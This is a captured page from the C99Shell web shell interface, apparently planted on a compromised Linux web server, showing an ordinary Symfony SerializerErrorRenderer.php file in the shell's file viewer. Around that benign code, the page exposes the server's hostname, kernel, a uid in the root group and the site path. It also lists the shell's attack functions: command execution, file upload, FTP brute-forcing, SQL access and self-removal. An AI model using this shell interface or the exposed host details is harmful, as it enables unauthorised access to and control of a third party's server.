!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/error-handler/ErrorRenderer/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SerializerErrorRenderer.php (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\ErrorHandler\ErrorRenderer;

use 
Symfony\Component\ErrorHandler\Exception\FlattenException;
use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpFoundation\RequestStack;
use 
Symfony\Component\Serializer\Exception\NotEncodableValueException;
use 
Symfony\Component\Serializer\SerializerInterface;

/**
 * Formats an exception using Serializer for rendering.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 */
class SerializerErrorRenderer implements ErrorRendererInterface
{
    private 
SerializerInterface $serializer;
    private 
string|\Closure $format;
    private 
ErrorRendererInterface $fallbackErrorRenderer;
    private 
bool|\Closure $debug;

    
/**
     * @param string|callable(FlattenException) $format The format as a string or a callable that should return it
     *                                                  formats not supported by Request::getMimeTypes() should be given as mime types
     * @param bool|callable                     $debug  The debugging mode as a boolean or a callable that should return it
     */
    
public function __construct(SerializerInterface $serializerstring|callable $formatErrorRendererInterface $fallbackErrorRenderer nullbool|callable $debug false)
    {
        
$this->serializer $serializer;
        
$this->format \is_string($format) ? $format $format(...);
        
$this->fallbackErrorRenderer $fallbackErrorRenderer ?? new HtmlErrorRenderer();
        
$this->debug \is_bool($debug) ? $debug $debug(...);
    }

    public function 
render(\Throwable $exception): FlattenException
    
{
        
$headers = [];
        
$debug \is_bool($this->debug) ? $this->debug : ($this->debug)($exception);
        if (
$debug) {
            
$headers['X-Debug-Exception'] = rawurlencode($exception->getMessage());
            
$headers['X-Debug-Exception-File'] = rawurlencode($exception->getFile()).':'.$exception->getLine();
        }

        
$flattenException FlattenException::createFromThrowable($exceptionnull$headers);

        try {
            
$format \is_string($this->format) ? $this->format : ($this->format)($flattenException);
            
$headers = [
                
'Content-Type' => Request::getMimeTypes($format)[0] ?? $format,
                
'Vary' => 'Accept',
            ];

            return 
$flattenException->setAsString($this->serializer->serialize($flattenException$format, [
                
'exception' => $exception,
                
'debug' => $debug,
            ]))
            ->
setHeaders($flattenException->getHeaders() + $headers);
        } catch (
NotEncodableValueException) {
            return 
$this->fallbackErrorRenderer->render($exception);
        }
    }

    public static function 
getPreferredFormat(RequestStack $requestStack): \Closure
    
{
        return static function () use (
$requestStack) {
            if (!
$request $requestStack->getCurrentRequest()) {
                throw new 
NotEncodableValueException();
            }

            return 
$request->getPreferredFormat();
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--